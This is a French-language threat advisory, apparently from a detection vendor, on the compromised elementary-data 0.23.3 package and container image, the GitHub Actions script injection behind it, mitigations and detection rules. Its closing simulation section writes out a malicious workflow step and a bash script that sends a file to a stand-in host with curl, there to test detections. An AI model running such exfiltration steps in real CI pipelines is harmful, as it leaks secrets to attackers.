Elementary-data Compromis via Libération GitHub Forgée
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une version malveillante du package Python elementary-data version 0.23.3, a été téléchargée sur PyPI, tandis qu’une image de conteneur compromise correspondante a également été poussée sur GitHub Container Registry. L’attaquant a inséré du code malveillant dans un workflow GitHub Actions, forgé une version signée, puis abusé du jeton de workflow pour publier les artefacts piégés. La charge utile fonctionnait comme un voleur d’informations d’identification en trois étapes conçu pour collecter des secrets et les exfiltrer vers un domaine contrôlé par l’attaquant. Tout environnement ayant installé le package affecté ou tiré l’image de conteneur la plus récente était exposé à une compromission.
Enquête
L’enquête a révélé que l’attaque a commencé par un commentaire sur une demande de tirage ouverte qui a été inséré directement dans un script de workflow, permettant l’injection de script. En utilisant le GITHUB_TOKENdu workflow, l’attaquant a créé un commit de version forgé et déclenché le processus de publication, qui a ensuite distribué la roue trojanisée et l’image Docker. L’analyse a montré qu’un fichier .pth malveillant a décodé un wrapper Base64, décrypté le composant final de la collecte, et récolté un large ensemble d’identifiants avant de les envoyer à un domaine de commande et contrôle personnalisé via curl.
Atténuation
Les responsables du projet ont retiré la version malveillante du package de PyPI et supprimé l’image compromise de GHCR avant de publier un remplacement propre, version 0.23.4. StepSecurity a ajouté la version malveillante du package et le domaine contrôlé par l’attaquant à la liste de blocage de Harden-Runner et a bloqué le package pendant l’exécution de la demande de tirage. Les développeurs devraient fixer les versions exactes des packages et des digest d’images, éviter de se fier à des étiquettes volantes, et auditer les dépendances installées pour des .pth fichiers
imprévus.
Les défenseurs devraient rechercher la présence de elementary.pth à l’intérieur des site-packages et identifier les systèmes qui ont téléchargé la hachure d’image Docker suspecte. Les connexions sortantes vers le domaine de commande et contrôle connu devraient être immédiatement bloquées. Les équipes de sécurité devraient scanner les stations de travail des développeurs et les environnements de construction pour les matériaux secrets exposés, retirer tous les packages compromis et renouveler les identifiants affectés. Les pipelines CI/CD devraient également être mis à jour pour valider la provenance des packages et appliquer un pinning strict des images.
Flux d’attaque
Detections
Infiltration / Exfiltration de données possibles / C2 via des services / outils tiers (via proxy)
Voir
Infiltration / Exfiltration de données possibles / C2 via des services / outils tiers (via dns)
Voir
Téléchargement / Téléversement de fichiers à distance via des outils standards (via ligne de commande)
Voir
IOCs (HashSha1) pour détecter : elementary-data compromis sur PyPI et GHCR : Version forgée poussée via injection de script GitHub Actions
Voir
Détection de l’exfiltration de données malveillante via injection de script dans GitHub Actions [Création de processus Linux]
Voir
Détection du package elementary-data malveillant avec voleur d’identifiants [Événement de fichier Linux]
Voir
## Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker has compromised a repository that uses GitHub Actions for CI/CD. They add a malicious step to the workflow file:- name: Exfiltrate data run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"When the workflow runs on the GitHub Actions runner, the process tree looks like:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(parent process)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(child process)
The
auditdrecord for step 2 contains a command line with bothbashandcurl --data-binary, satisfying the Sigma condition. -
Regression Test Script:
#!/usr/bin/env bash # # Simulate the malicious GitHub Actions step that should trigger the detection rule. # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash. set -euo pipefail # 1. Create dummy secret data tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Perform the exfiltration using the vulnerable pattern bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Output confirmation for the tester echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup." -
Cleanup Commands:
#!/usr/bin/env bash # Remove any temporary files created during the simulation rm -f /tmp/secret_data.* # Optionally, stop any lingering curl processes (should not be needed) pkill -f "curl --data-binary" || true